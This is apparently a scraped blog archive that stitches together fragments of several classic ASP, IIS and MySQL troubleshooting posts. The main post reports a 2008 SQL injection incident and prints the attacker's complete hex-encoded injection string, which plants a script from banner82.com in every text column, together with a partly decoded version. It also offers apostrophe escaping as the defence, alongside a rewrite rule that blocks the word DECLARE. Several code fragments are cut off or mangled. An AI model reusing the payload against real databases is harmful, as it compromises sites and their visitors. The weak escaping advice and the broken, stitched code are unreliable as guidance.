http://community.sgdotnet.org/blogs/darenhan/archive/2007/10/29/How-to-solve-memory-leak-in-IIS-w3p.exe.aspx

Remember the following:

1. close your database recordsets

2. close your database connections

3. close any other objects you’ve created

4. in case you come across a response.redirect do all of the above before calling it.

5. read 4.

Set RegularExpressionObject = New RegExp

With RegularExpressionObject
.Pattern = “<[^>]+>”
.IgnoreCase = True
.Global = True
End With

stripHTMLtags = RegularExpressionObject.Replace(HTMLstring, “”)
Set RegularExpressionObject = nothing

End Function

So, I hoped that my usual strategy would yield the solution to the problem. The right combination of keywords usually finds a forum entry with the same problem and a corresponding solution. This time however, no such luck. A good hint did come from the helicon tech forum (the makers of ISAPI rewrite).

The solution was to change the application pool identity (user).
The network service user – the default for an application pool – did not have proper access to the share (although it did have some access – probably after x timeouts). The new user (specifically created for the cifs share) solved the problem and IIS is humming again. I had to add some group memberships to this user to make it work.
Hope this helps someone in the same situation.

Here’s an introduction of what they are: http://blogs.zdnet.com/security/?p=1122
and some evidence of people scrambling on how to protect their servers: http://www.experts-exchange.com/Security/Vulnerabilities/Q_23408074.html

This morning I got a frantic call from headoffice telling me that we’ve been hacked and that the database is filled with Javascript strings pointing to www.banner82.com/b.js. Both banner82.com and banner82.org are referenced in the scripts.

Here’s the querystring that was (and is still) being tried against all variables of our application:

DECLARE%20@S%20 VARCHAR(4000);SET%20@S=CAST(0x4445434C41524520405420564152434841522832 3535292C40432056415243484152283235352920444 5434C415245205461626C655F437572736F72204355 52534F5220464F522053454C45435420612E6E616D6 52C622E6E616D652046524F4D207379736F626A6563 747320612C737973636F6C756D6E732062205748455 24520612E69643D622E696420414E4420612E787479 70653D27752720414E442028622E78747970653D393 9204F5220622E78747970653D3335204F5220622E78 747970653D323331204F5220622E78747970653D313 63729204F50454E205461626C655F437572736F7220 4645544348204E4558542046524F4D205461626C655 F437572736F7220494E544F2040542C404320574849 4C4528404046455443485F5354415455533D3029204 24547494E20455845432827555044415445205B272B4 0542B275D20534554205B272B40432B275D3D525452 494D28434F4E5645525428564152434841522834303 030292C5B272B40432B275D29292B27273C736372697 074207372633D687474703A2F2F7777772E62616E6E 657238322E636F6D2F622E6A733E3C2F736372697074 3E27272729204645544348204E4558542046524F4D205461626C
655F437572736F7220494E544F2040542C404320454E 4420434C4F5345205461626C655F437572736F722044 45414C4C4F43415445205461626C655F437572736F722

0%20AS%20VARCHAR(4000));EXEC(@S);--

which translates to the following sql statements:

DECLARE
@T VARCHAR(255),
@C VARCHAR(255)
DECLARE
Table_Cursor
CURSOR FOR
SELECT
a.name,b.name
FROM
sysobjects a,syscolumns b
WHERE
a.id=b.id AND
a.xtype='u' AND
(b.xtype=99 OR b.xtype=35 OR b.xtype=231 OR b.xtype=167)
OPEN
Table_Cursor
FETCH NEXT FROM
Table_Cursor
INTO @T,@C
WHILE(@@FETCH_STATUS=0)
BEGIN
EXEC('UPDATE ['+@T+'] SET ['+@C+']=RTRIM(CONVERT(VARCHAR(4000),['+@C+']))+''''')
FETCH NEXT FROM Table_Cursor
INTO @T,@C
END
CLOSE Table_Cursor
DEALLOCATE Table_Cursor
(courtesy of http://pastebin.com/d73dda647)

So we got hit. Here’s what we did and what you can do to protect your servers.

Step 1. Take down the site.
Step 2. Clean the database
Step 3. Patch the .asp pages to look for possible injection attacks.
Step 4. Bring the site back up and monitor it.

Here are some tips:
1. Taking down the site is quickly done in IIS, but it’s worthwhile to redirect to a page that tells users that you’ll be back up shortly.
2. To clean the database I used 2 stored procedures. The reason that there are 2 is that SQL Server 2000 needs some extra tweaking when it comes to ntext fields.
2a. The first stored procedure was taken from this site: http://vyaskn.tripod.com/sql_server_search_and_replace.htm.
I had to customize the stored prcedure a bit, but Vyas has written a great stored procedure that gets us halfway there.2b. Now we just have ntext fields left that contain the javascript tags. Ntext fields are more difficult to work with, as you can’t use the replace function. Instead, we use the Updatetext function.
To do this, I customized the stored procedure found on http://sqlserver2000.databases.aspfaq.com/how-do-i-handle-replace-within-an-ntext-column-in-sql-server.html
at aspfaq.com
This stored procedure will replace one string with another in ntext fields. Even though this wasn’t strictly necessary (as you can see above, the ntext fields were cut down to 4000 character fields in the attack), I decided to find out how to replace strings in ntext fields.3. Patching the pages: To do so, you can either parameterize all your query variables into stored procedures (or cmd objects), or you can write your own asp function to strip all inputs before they are sent to the database in dynamic queries.
We chose to go the route of writing our own asp function.

You can use something as simple as:

FUNCTION ChkString(string)
IF string = “” THEN
string = ” ”
END IF
ChkString = Replace(string, “‘”, “””)
END FUNCTION

which will only make sure that all apostrophes are escaped. To make a more advanced function, you can add the Server.HTMLEncode function, and any regular expressions or replacing functions to filter out any offending characters. Just search for XSS vulnerability to get more information on this.

Of importance here is to make sure that all numeric values that go to the database are first enclosed in the CLNG conversion function. This will throw an error anytime an input contains a non-numeric string instead of the number you’re expecting. You can use this error to monitor how attacks on your site are made by specifying a custom asp error page in IIS.

The custom error page can be called asperror.asp and contain the following:

sub geterror
‘ gather details about the error from the ASPError object
‘ get the last error that occurred!
set objasperror = server.getlasterror
‘ go through the properties and get whatever you need…
With objasperror
code = .aspcode
num = .number
src = .source
cat = .category
file = .file
line = .line
column = .column
desc = .description
adesc = .aspdescription
end With

‘ free ASPError object
set objasperror = nothing

‘sendmail
Sendmail “info@mail.com”, “info@mail.com” “asperror”, “Code: ” & code & VbCrLf & “Num: ” & num & VbCrLf & “src: ” & src & vbCrLf & “cat: ” & cat & VbCrLf & “File: ” & file & VbCrLf & “line: ” & line & VbCrLf & “Column: ” & column & VbCrLf & “Desc: ” & desc & VbCRLf & “ASPDesc: ” & adesc & VbCrLf & “QueryString:” & Request.QueryString() & VbCrLf & Request.Form() & VbCrLf & “Referer: ” & Request.ServerVariables(“HTTP_Referer”) & ” ” & Request.ServerVariables(“REMOTE_ADDR”)

END SUB

This kind of function will keep you up-to-date on how and who is trying to attack your server.

4. Last but not least: Avoid this kind of attack all together. With an ISAPI component like ISAPI Rewrite by Helicon, you state something like:
Rewriterule .*DECLAREs.* http://www.mysite.com/block.asp [I,R]
which will make sure that all these attempts are redirected.

The problem is the CursorLocation, the solution is that sentence

rs.CursorLocation = 3 or rs.CursorLocation = adUseClient

Just in case someone is pulling their hair out over this also…

Will version 3.51 ever update? I’ve seen this version for years and 5.1 has been in alpha for the same amount of time…

Response.Write recaptcha_challenge_writer(publickey12)
If Request.ServerVariables(“CONTENT_LENGTH”) <> 0 Then
Dim strReturn
strReturn = recaptcha_confirm(privatekey12,Request.Form(“recaptcha_challenge_field”),Request.Form(“recaptcha_response_field”))
If strReturn <> TRUE Then
Response.Write strReturn
Else
Response.Write “all ok”
END IF
END If

‘ returns string the can be written where you would like the reCAPTCHA challenged placed on your page
function recaptcha_challenge_writer(publickey)
Dim str

str = ““
recaptcha_challenge_writer = str
end function

function recaptcha_confirm(privkey,rechallenge,reresponse)
‘ Test the captcha field
Dim VarString
VarString = _
“privatekey=” & privkey & _
“&remoteip=” & Request.ServerVariables(“REMOTE_ADDR”) & _
“&challenge=” & rechallenge & _
“&response=” & reresponse

Dim objXmlHttp
Set objXmlHttp = Server.CreateObject(“Msxml2.ServerXMLHTTP”)
objXmlHttp.open “POST”, “http://api-verify.recaptcha.net/verify”,False
objXmlHttp.setRequestHeader “Content-Type”, “application/x-www-form-urlencoded”
objXmlHttp.send VarString

Dim ResponseString
ResponseString = split(objXmlHttp.responseText, vblf)
Set objXmlHttp = Nothing
if ResponseString(0) = “true” then
‘They answered correctly
recaptcha_confirm = TRUE
else
‘They answered incorrectly
recaptcha_confirm = ResponseString(1)
end if
end function

Searching for this error on google and mysql.com would yield results that ranged from other helpless users asking the same question, to mysql admins posting that this is not actually a bug and there’s nothing they can do.

This error would occur sporadically, usually under heavy load and would return relentlessly. Nothing would help!
We tried all the suggestions from various sources (too many to list now), including debugging iis, windows, cleaning up after all connections to the database, mdac updates, tcp/ip ephemeral port range of windows increase, tweaking the registry, etc…

Feeling there’s nothing we could do on the web server platform, we moved on to the db servers (mysql servers 5.x running on debian).
Here we got errors like the following:

Aborted connection 887 to db: ‘abc’ user:
‘abc’ host: ’123.456.789.123′ (Got an error reading communication
packets)

We tried all the fitting suggestion on http://dev.mysql.com/doc/refman/5.1/en/
communication-errors.html without a proper result.
The error returned again and again.
After tweaking several mysql config variables we finally came upon a little noticed post on:
http://themattreid.com/wordpress/?p=15

Thank you matt reid!
Increasing the max_allowed_packet from 8MB to 64 MB did the trick.
Time to celebrate.